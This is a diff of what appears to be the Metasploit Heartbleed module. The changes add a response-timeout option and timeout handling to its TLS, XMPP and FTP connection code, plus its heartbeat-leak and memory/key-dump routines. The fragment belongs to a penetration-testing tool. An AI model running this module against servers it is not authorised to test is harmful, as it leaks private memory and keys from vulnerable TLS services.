@@ -110,7 +110,8 @@ def initialize
110
110
'juan vazquez' , # Msf module
111
111
'Sebastiano Di Paola' , # Msf module
112
112
'Tom Sellers' , # Msf module
113
- 'jjarmoc' #Msf module; keydump, refactoring..
113
+ 'jjarmoc' , #Msf module; keydump, refactoring..
114
+ 'Ben Buchanan' #Msf module
114
115
] ,
115
116
'References' =>
116
117
[
@@ -140,7 +141,8 @@ def initialize
140
141
OptEnum . new ( 'TLS_VERSION' , [ true , 'TLS/SSL version to use' , '1.0' , [ 'SSLv3' , '1.0' , '1.1' , '1.2' ] ] ) ,
141
142
OptInt . new ( 'MAX_KEYTRIES' , [ true , 'Max tries to dump key' , 10 ] ) ,
142
143
OptInt . new ( 'STATUS_EVERY' , [ true , 'How many retries until status' , 5 ] ) ,
143
- OptRegexp . new ( 'DUMPFILTER' , [ false , 'Pattern to filter leaked memory before storing' , nil ] )
144
+ OptRegexp . new ( 'DUMPFILTER' , [ false , 'Pattern to filter leaked memory before storing' , nil ] ) ,
145
+ OptInt . new ( 'RESPONSE_TIMEOUT' , [ true , 'Number of seconds to wait for a server response' , 10 ] )
144
146
] , self . class )
145
147
146
148
register_advanced_options (
@@ -186,6 +188,10 @@ def peer
186
188
"#{ rhost } :#{ rport } "
187
189
end
188
190
191
+ def response_timeout
192
+ datastore [ 'RESPONSE_TIMEOUT' ]
193
+ end
194
+
189
195
def tls_smtp
190
196
# https://tools.ietf.org/html/rfc3207
191
197
sock . get_once
@@ -237,15 +243,15 @@ def jabber_connect_msg(hostname)
237
243
238
244
def tls_jabber
239
245
sock . put ( jabber_connect_msg ( datastore [ 'XMPPDOMAIN' ] ) )
240
- res = sock . get
246
+ res = sock . get ( response_timeout )
241
247
if res && res . include? ( 'host-unknown' )
242
248
jabber_host = res . match ( / from='([\w .]*)' / )
243
249
if jabber_host && jabber_host [ 1 ]
244
250
disconnect
245
251
connect
246
252
vprint_status ( "#{ peer } - Connecting with autodetected remote XMPP hostname: #{ jabber_host [ 1 ] } ..." )
247
253
sock . put ( jabber_connect_msg ( jabber_host [ 1 ] ) )
248
- res = sock . get
254
+ res = sock . get ( response_timeout )
249
255
end
250
256
end
251
257
if res . nil? || res . include? ( 'stream:error' ) || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/
@@ -254,14 +260,14 @@ def tls_jabber
254
260
end
255
261
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
256
262
sock . put ( msg )
257
- res = sock . get
263
+ res = sock . get ( response_timeout )
258
264
return nil if res . nil? || !res . include? ( '<proceed' )
259
265
res
260
266
end
261
267
262
268
def tls_ftp
263
269
# http://tools.ietf.org/html/rfc4217
264
- res = sock . get
270
+ res = sock . get ( response_timeout )
265
271
return nil if res . nil?
266
272
sock . put ( "AUTH TLS\r \n " )
267
273
res = sock . get_once
@@ -291,7 +297,7 @@ def run_host(ip)
291
297
292
298
def bleed ( )
293
299
# This actually performs the heartbleed portion
294
- establish_connect
300
+ return :timeout if ( establish_connect ) == :timeout
295
301
vprint_status ( "#{ peer } - Sending Heartbeat..." )
296
302
sock . put ( heartbeat ( heartbeat_length ) )
297
303
hdr = sock . get_once ( 5 )
@@ -335,6 +341,7 @@ def bleed()
335
341
end
336
342
337
343
def loot_and_report ( heartbeat_data )
344
+ return if heartbeat_data == :timeout
338
345
if heartbeat_data
339
346
print_good ( "#{ peer } - Heartbeat response with leak" )
340
347
report_vuln ( {
@@ -344,7 +351,7 @@ def loot_and_report(heartbeat_data)
344
351
:refs => self . references ,
345
352
:info => "Module #{ self . fullname } successfully leaked info"
346
353
} )
347
- if action . name == 'DUMP' # Check mode, dump if requested.
354
+ if datastore [ 'MODE' ] == 'DUMP' # Check mode, dump if requested.
348
355
pattern = datastore [ 'DUMPFILTER' ]
349
356
if pattern
350
357
match_data = heartbeat_data . scan ( pattern ) . join
@@ -506,7 +513,12 @@ def establish_connect
506
513
vprint_status ( "#{ peer } - Sending Client Hello..." )
507
514
sock . put ( client_hello )
508
515
509
- server_hello = sock . get
516
+ server_hello = sock . get ( response_timeout )
517
+ unless server_hello
518
+ vprint_error ( "#{ peer } - No Client Hello response after #{ response_timeout } seconds..." )
519
+ return :timeout
520
+ end
521
+
510
522
unless server_hello . unpack ( "C" ) . first == HANDSHAKE_RECORD_TYPE
511
523
vprint_error ( "#{ peer } - Server Hello Not Found" )
512
524
return
@@ -534,3 +546,4 @@ def key_from_pqe(p, q, e)
534
546
end
535
547
536
548
end
549
+
0 commit comments